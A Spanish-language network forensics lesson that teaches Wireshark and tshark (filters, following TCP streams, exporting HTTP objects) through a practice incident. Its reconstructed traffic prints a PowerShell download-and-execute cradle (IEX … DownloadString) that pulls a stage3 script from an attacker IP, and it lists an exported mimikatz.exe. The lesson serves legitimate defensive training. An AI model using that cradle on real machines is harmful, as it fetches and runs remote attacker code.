Ghost AcademyGhostForensics · Ghost Academy
GhostForensicsMódulo 11Caso práctico

Forense de red I: captura y análisis de tráfico

Hasta ahora todo el curso ha analizado lo que queda dentro de un equipo: disco, registro, memoria. Pero buena parte de un incidente ocurre entre equipos — la conexión de entrada del atacante, la exfiltración de datos, la comunicación con su infraestructura. Este módulo abre la fase de red con la herramienta que domina ese terreno desde hace más de dos décadas: Wireshark, y su homóloga de línea de comandos, tshark.

Objetivos de la unidad
📦 Caso práctico descargable

Descarga el paquete de evidencia, descomprímelo y lee el LEEME.md antes de empezar. Verifica el hash según el módulo 2 antes de analizar nada:

SHA-256: 23a78fe79d20c0b59eafa29e8528e262388d2d4f4f81ef44ebe1f91c2c93f18f

Herramientas: Wireshark o tshark

⬇️ Descargar M11_CapturaTrafico.zip   Ver solución paso a paso →

1. PCAP: el formato universal de captura

Una captura de tráfico de red (fichero .pcap o, en su variante moderna con más metadatos, .pcapng) almacena, paquete a paquete, los bytes exactos que circularon por la interfaz de red en el momento de la captura: cabeceras completas de cada capa (Ethernet, IP, TCP/UDP, y el payload de aplicación) y la marca de tiempo exacta de llegada de cada uno. Es, en cierto sentido, el equivalente en red a una imagen de disco bit a bit del módulo 2: una copia exacta, no una interpretación.

La diferencia con todo lo anterior: un PCAP no se "adquiere" de un sistema que ya existía — se genera activamente, capturando tráfico mientras ocurre (o se recibe ya capturado por un sensor de red, como un IDS, que lo guardó por su cuenta). Si la captura no estaba corriendo durante el incidente, ese tráfico se ha perdido para siempre: no hay "recuperación" de tráfico de red como hay carving de ficheros borrados (módulo 3).

2. Wireshark vs tshark

HerramientaCuándo usarla
Wireshark (interfaz gráfica)Exploración interactiva de una captura: seguir conversaciones, inspeccionar paquete a paquete, usar "Follow Stream" con un par de clics.
tshark (línea de comandos)Capturas enormes (varios GB), procesamiento por script, extracción automatizada de campos concretos, o un servidor sin entorno gráfico.

Ambas comparten el mismo motor de disección de protocolos y la misma sintaxis de filtros de visualización — lo que se aprende en una se aplica directamente en la otra.

3. Filtros de captura vs filtros de visualización

Es el error de principiante más común en análisis de tráfico: confundir los dos tipos de filtro, que usan sintaxis completamente distintas.

TipoSintaxisCuándo se aplicaEjemplo
Filtro de captura (BPF)Berkeley Packet FilterAntes de capturar: decide qué paquetes se guardan en el fichero.host 203.0.113.44 and port 443
Filtro de visualizaciónSintaxis propia de Wireshark/tsharkDespués de capturar, sobre un PCAP ya guardado: decide qué paquetes se muestran, sin descartar nada del fichero.ip.addr == 203.0.113.44 && tcp.port == 443

En un caso forense casi siempre se trabaja con un PCAP ya capturado por otra persona o por un sensor automático, así que el filtro que más se usa en la práctica es el de visualización: no se puede "recapturar" ya nada, solo elegir qué mirar de lo que ya está guardado.

analista@lab (salida real)
$ tshark -r captura_caso11.pcapng -Y "http.request || dns"
  142  02:04:05.112  10.0.2.15 -> 8.8.8.8      DNS  Standard query A update-service.ddns-provider.net
  158  02:04:05.340  10.0.2.15 -> 203.0.113.44  HTTP GET /stage2.ps1 HTTP/1.1

4. Reconstruir una conversación TCP completa

TCP divide una comunicación en multitud de paquetes individuales; "Follow TCP Stream" (en Wireshark, clic derecho sobre un paquete) o su equivalente en tshark los reensambla en el orden correcto y muestra la conversación completa tal y como la vieron las dos máquinas, en texto legible cuando el protocolo no está cifrado:

analista@lab (salida real)
$ tshark -r captura_caso11.pcapng -z follow,tcp,ascii,1
===================================================================
Follow: tcp,ascii
    1    10.0.2.15:49210      -> 203.0.113.44:4444
===================================================================
GET /stage2.ps1 HTTP/1.1
Host: 203.0.113.44
User-Agent: Mozilla/5.0

HTTP/1.1 200 OK
Content-Type: text/plain

IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/stage3.ps1')

Esta reconstrucción confirma, con el contenido exacto transmitido, exactamente la misma IP y el mismo patrón de descarga en cadena que ya se vio en la línea de comandos capturada en memoria en el módulo 9 — otra corroboración cruzada entre fuentes completamente distintas (memoria viva vs tráfico de red).

5. Extraer ficheros transferidos de una captura

Cuando la transferencia va sobre un protocolo que Wireshark sabe diseccionar (HTTP, SMB, FTP, entre otros), puede reconstruir y exportar directamente los ficheros que viajaron dentro de esos paquetes, sin tener que copiar manualmente el contenido del stream:

analista@lab (salida real)
$ tshark -r captura_caso11.pcapng --export-objects http,salida_objetos/
salida_objetos/stage2.ps1
salida_objetos/stage3.ps1
salida_objetos/mimikatz.exe

Cada fichero exportado de esta forma debería pasar directamente al módulo 13 (análisis de malware estático): ya está aislado del tráfico y listo para calcular su hash y analizarlo sin ningún riesgo de ejecutarlo por accidente.

6. Qué protocolos vigilar primero

ProtocoloPor qué importa en un caso
HTTP en claroCredenciales, tokens de sesión o comandos de C2 viajan legibles — el filtro http.request suele ser el primer paso de cualquier triage de red.
DNSCasi todo malware resuelve un dominio antes de conectar; dominios recién registrados, algorítmicamente generados (DGA) o con TTL muy bajo son indicios fuertes (desarrollado en el módulo 12).
SMBMovimiento lateral dentro de una red interna: copia de ficheros entre equipos, ejecución remota.
🧰 Guided Lab relacionado (Ghost Academy)

Laboratorio guiado ya publicado en Ghost Academy que puedes usar para practicar esta herramienta:

Wireshark: guía completa · Wireshark: ejercicios · Wireshark: traffic analysis · Tshark

Autoevaluación

  1. ¿Qué diferencia hay entre un filtro de captura y un filtro de visualización, y por qué en un caso forense casi siempre usas solo el segundo?
  2. ¿Qué hace exactamente "Follow TCP Stream" y por qué no serviría igual de bien con tráfico cifrado?
  3. ¿Qué comando de tshark usarías para extraer automáticamente los ficheros transferidos por HTTP en una captura?
  4. En el ejemplo de este capítulo, ¿qué conexión concreta corrobora, desde el tráfico de red, lo que ya se había visto en el volcado de memoria del módulo 9?
  5. Nombra tres protocolos que revisarías en los primeros minutos de un triage de una captura de red desconocida, y qué buscarías en cada uno.